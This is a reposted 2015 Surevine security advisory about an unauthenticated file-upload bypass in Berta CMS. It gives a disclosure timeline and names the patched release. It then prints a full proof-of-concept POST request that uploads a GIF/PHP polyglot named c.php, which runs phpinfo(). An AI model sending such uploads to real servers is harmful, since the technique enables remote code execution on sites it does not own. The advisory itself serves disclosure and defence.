Home / os / blackberry

Berta CMS File Upload Bypass

Posted on 27 March 2015

Berta CMS is a web based content management system using PHP and local file storage. http://www.berta.me/ Due to use of a 3rd party Berta CMS website to redirect links within a phishing email brought to our attention we checked the file upload functionality of this software. We found that the file upload didn't require authentication. Images with a ".php" extension could be uploaded, and all that was required is that they pass the PHP getimagesize() function and have suitable dimensions. It is possible for GIF image files (and possibly other image files - not tested) to contain arbitrary PHP whilst being well enough formed to pass the getimagesize() function with acceptable dimensions. http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/ <http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/> We can't ascertain if this is the weakness that was used to compromise the 3rd party server in question, however the patch requires authentication for all file uploads, which will likely resolve any similar issues. The author was notified: 2015-03-22 Author Acknowledge: 2015-03-23 Patch released: 2015-03-26 The berta-0.8.10b.zip file from: http://www.berta.me/download/ includes a fix that requires authentication to upload files. This announcement should not be interpreted as implying either the author, or Surevine, have conducted any in-depth assessment of the suitability of Berta CMS for any purpose (Sometimes you just want to make life harder for those sending phishing emails). The following POST request will upload a c.php file which will run phpinfo() when fetched on vulnerable servers. POST /engine/upload.php?entry=true&mediafolder=.all HTTP/1.1 Host: 192.168.56.101 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.101/upload.html Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------2147563051636691175750543802 Content-Length: 1617 -----------------------------2147563051636691175750543802 Content-Disposition: form-data; name="Filedata"; filename="c.php" Content-Type: text/php GIF89/* < ³ ÿÿÿfffÃÂÂŒÃÂÂŒÃÂÂŒ333ÃÂŒÿÿ™™™3ffÃÂÂŒÃÂŒÿÃÂŒÿÃÂÂŒ™™ÃÂÂŒf3f 33 f™™3 3 3!þ GIF SmartSaver Ver1.1a , È < þ ÈI«Â½8ëͻÿ`(Ždižhª®lë¾p,Ïtmßx®Ã¯|ïÿÀ p¸ Ȥr™$ö˜ 4ê¬Z¯Ã• cËíz¿`n { „ 2-xLn»ÃŸé³|ÃÂÂŽ`« ¼^O6‡Ã£kp‚ÆÂÂ’„#jtˆ]v)~`}g€_‹…”••‡‰‰“' _ 1˜Å –¤¥‚¢™s›& ^ŸŽ¡a«¦´Âµ?¨©g³$­]¯Å¾± ¶ÃƒÃ„<¸Â¹Ã‚w X½‘^»ÃÂÂ…ÃÂ’Ó+ÇÈÐ,Í[Ô%ÇÑÃÂœàá)ÖßÙËâ Þèëì'äeç MÃÂÂŒJ êíøùöº x{{ üý P€‚64 ðVpÃ@> 8PÆÂ’Ä3 R±pOŸÃ‡ þ ÞU8˜!@˜ (SbL9 a “Å¡6Z8·° É 03 )¡#ÈŸøD ÅÂÂ’÷òäµI ¬ qY RN›D $½Ã†€§O XÃÂÂ… p §Qd‹ P­s c˜® &’y5«Ã›i[ÓF ð´‹R~ ÄŽ%Û4 Z {· Ðö­a[q¥ÃÂÂŽ•P—Ë]Yy o™„ mc/*Ã¥l,|¸3©Ã„ )fðX˜d.L+Ç“Ã Àh¾ 8{žM ôb×'‡‚**GãEÅÂÂ’ Tï>غgnãÉh+/d{·…ÑÆÂ’¹FU;ñ9ë ‰Xv} A/¬Ã˜ —‹ ÃÂӟ»u0Ñå:g Ãëôªxv-À’Ã¥¬®Â²Ã‡ë'R ˜Wôº™Ã¾' f XCÃÂÂ…uýÃÂϮ ~áíç ý¹âÞqê xÐ7Þ}ÑP{ ®Ã§ Ö„ÃÂӈÆÂÂ’$ ¡/ (Ýz zQÃÂÂœLááÕ¡€ ý6‡Ë†Ã‰•¨c ':“â é)¶ w Ý <­H£A5Ã¥‚£$;FÉ£ÅÂÂ’Júw Z žŠ -ÆÂÂ’$ ¡Iõ "Ob#Ã¥™8ô¸Ã ˜e)a™vu@ä— „6f"pÅ  æž5¨‰Ã XVù&r v 3jy'ž„šÉç£/øY …B h¤Å“^ž f<‹’FP‹(n %¤¤Â² )›q *{j0§¦už *f;©Ãª£¨Å½–ª« § Ú¦­kÃÂÂ’¥`ž‚ k¢oZÓ ²¡Ã¾Ã¦·Ã«Â³ ôzÃ¥¯ j9ë /º9*/<?php phpinfo(); ?>/* `ÇŽ´ÃÂε°U .±Ã¡Bkî>#VëE’ ¦ÂªÃ®Âª• Å j v«­ £Ã­ ¹åÅ“ë/®Â¹Â¾‹ Æ;h»6 D ·`°k0ŠÇ H¡Â³Ã¿Ãº› ÃòN n Äñf/¹¤a÷±Ã€kFÃÂÂœ ‡ WlîÃÂ…ÊÊ4f c¶Q s´6 ¢Ë†z Ê1/RǯÊ@Wpñ ™Ã‰ ³&¸ ­Ã‡]Aæ|ñ n± O ôÕ o+îi! † ¥!"“ÓÀ"4õ ¥—2Ö¤^ óX0wʆZ™´F6É rÝuÖV³­Â²Ã› ÃÂÂ’ óÔzâ Hqw?|kà‚ÿìwÃÂÂ…nóýUÆ’k­Ã¸Ã¡‡e |ùŸ•£7šã [L%G‚ãA©Ã¡}‹–Ku™7¼éza q- k‡Å½f䬆·¯¯£Å½ÃÂ”é² $nç Àk vº¶'o D(åá°< éQ€ `£` q}FÙ*ïý÷à‡/þøä—oþù觯þúì·Ã¯Ã¾Ã»Ã°Ã‡/ÿüô×oÿýøç¯Ã¿Ã¾Ã¼÷ïÿÿ ; -----------------------------2147563051636691175750543802 Content-Disposition: form-data; name="submit" Upload Image -----------------------------2147563051636691175750543802-- Simon Waters phone +448454681066 email simon.waters@surevine.com skype simon.waters.surevine Participate | Collaborate | Innovate Surevine Limited

 

TOP